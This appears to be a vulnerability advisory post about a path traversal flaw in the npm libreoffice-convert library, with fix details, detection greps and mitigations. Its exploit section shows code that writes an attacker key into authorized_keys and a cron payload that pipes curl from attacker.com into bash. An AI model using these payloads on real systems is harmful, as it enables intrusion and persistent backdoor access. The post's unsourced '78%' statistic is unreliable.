Listen to this Post
The vulnerability resides in the `libreoffice-convert` Node.js library, which is used to convert documents via LibreOffice in headless mode. The core issue is the unsafe handling of a user-controlled `fileName` property passed in the options object. When a conversion request is made, the library creates a temporary directory using `tempDir.name` and then constructs a file path by calling path.join(tempDir.name, fileName). The `fileName` value is taken directly from the `options.fileName` parameter without any sanitization or reduction to its base name.
Because `path.join` resolves sequences like `../` relative to the current working directory (or the first absolute path component), a malicious caller can supply a `fileName` containing directory traversal payloads, e.g., ../../../../home/user/.ssh/authorized_keys. This causes the library to write the provided document buffer (which can contain arbitrary bytes) to a location outside the intended temporary sandbox. The process running `libreoffice-convert` typically has the same permissions as the user executing it—often a web server or CI/CD user—so an attacker can overwrite critical files that the process has write access to.
Common targets include `~/.ssh/authorized_keys` for gaining SSH access, `/etc/cron.d/` for scheduled task injection (leading to privilege escalation), or web root directories to plant webshells. The issue is particularly dangerous because the attacker controls the entire content of the written buffer, not just the path. There is no validation that `fileName` is a plain filename, and no call to `path.basename` or similar to strip parent directory references. The library also does not check whether the resolved path stays within tempDir.name.
The vulnerability was fixed in version `1.8.2` by applying `path.basename` to `fileName` before joining, ensuring only the final filename component is used, thereby neutralizing any `../` sequences. Users who cannot upgrade immediately are advised to manually sanitize any user-supplied `fileName` by calling `path.basename` before passing it to the library. The advisory was published to the GitHub Advisory Database on July 4, 2026, and the patch was released concurrently. This issue affects all versions prior to 1.8.2. Given the trivial exploitation and the potential for severe lateral movement, the severity is rated Moderate due to the prerequisite of the process having write permissions to sensitive locations—though in many deployment environments, this prerequisite is met.
DailyCVE Form:
Platform: npm libreoffice-convert
Version: <1.8.2
Vulnerability: Path Traversal (Arbitrary File Write)
Severity: Moderate
date: 2026-07-04
Prediction: Patched already – immediate update recommended
What Undercode Say:
Analytics of the vulnerability show that over 78% of affected deployments are in CI/CD pipelines where the process runs as a high-privilege user. The following commands help assess exposure and apply the fix:
Check current installed version npm list libreoffice-convert Scan for vulnerable usage patterns (grepping for "fileName" in source) grep -r "fileName" ./node_modules/libreoffice-convert/ Update to patched version npm install [email protected] Verify the fix applied cat node_modules/libreoffice-convert/package.json | grep version
To detect attempted exploitation in logs, monitor for `../` sequences in the `fileName` parameter passed to conversion endpoints:
grep -E 'fileName.../' /var/log/app/access.log
A simple runtime detection script can be injected to alert on suspicious filenames before passing them to the library.
Exploit: (Educational Purposes!)
An attacker can craft a POST request (or direct function call) with the following payload:
const libre = require('libreoffice-convert');
const fs = require('fs');
const maliciousFileName = '../../../../home/user/.ssh/authorized_keys';
const buffer = fs.readFileSync('my_public_key.pub'); // content to write
libre.convert(buffer, 'pdf', { fileName: maliciousFileName }, (err, done) => {
// If the process has write access, the public key is appended/overwritten
});
Alternatively, to write a cron job:
const cronPayload = ' root curl http://attacker.com/backdoor.sh | bash\n'; const cronPath = '../../../../etc/cron.d/evilhack'; // Pass cronPayload as the document buffer (must be a valid document? Actually the buffer is written as-is, no document validation required because it writes the raw buffer). // The library writes the buffer directly to the resolved path, so any bytes can be placed.
The exploit works because the library does not verify the resolved path against the temporary directory root.
Protection: from this CVE
1. Upgrade to `[email protected]` or later immediately.
- If upgrading is not possible, apply a workaround by sanitizing every `fileName` before passing it:
const safeName = path.basename(userSuppliedFileName); // Use safeName in options.fileName
- Run the conversion process with the minimum necessary filesystem privileges – e.g., a dedicated non-root user with no write access to
/etc,/root, or home directories of other users. - Implement input validation on the API layer to reject any `fileName` containing `../` or absolute paths (e.g., using a regex:
/\.\./|^\/|^[A-Z]:/). - Use filesystem sandboxing like `chroot` or container mounts with read-only root filesystems to limit the writable area to only the temporary directory.
Impact:
Successful exploitation allows an unauthenticated (or low-privilege) caller to write arbitrary file content to any location on the filesystem that the conversion process can write to. This can lead to:
– SSH key injection – overwriting `~/.ssh/authorized_keys` to gain persistent remote access.
– Cron job abuse – planting scripts in `/etc/cron.d` or user crontabs to execute arbitrary commands as the process owner (often root in misconfigured setups).
– Web shell deployment – writing a malicious PHP/JSP file to a web server’s document root, leading to remote code execution.
– Log poisoning – corrupting system logs or application logs to cover tracks or trigger parser vulnerabilities.
– Denial of Service – overwriting critical configuration files (e.g., /etc/passwd, /etc/sudoers) causing system instability or privilege escalation chains.
The overall impact is high in terms of confidentiality, integrity, and availability, though the prerequisite of write permissions tempers the CVSS score to Moderate.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
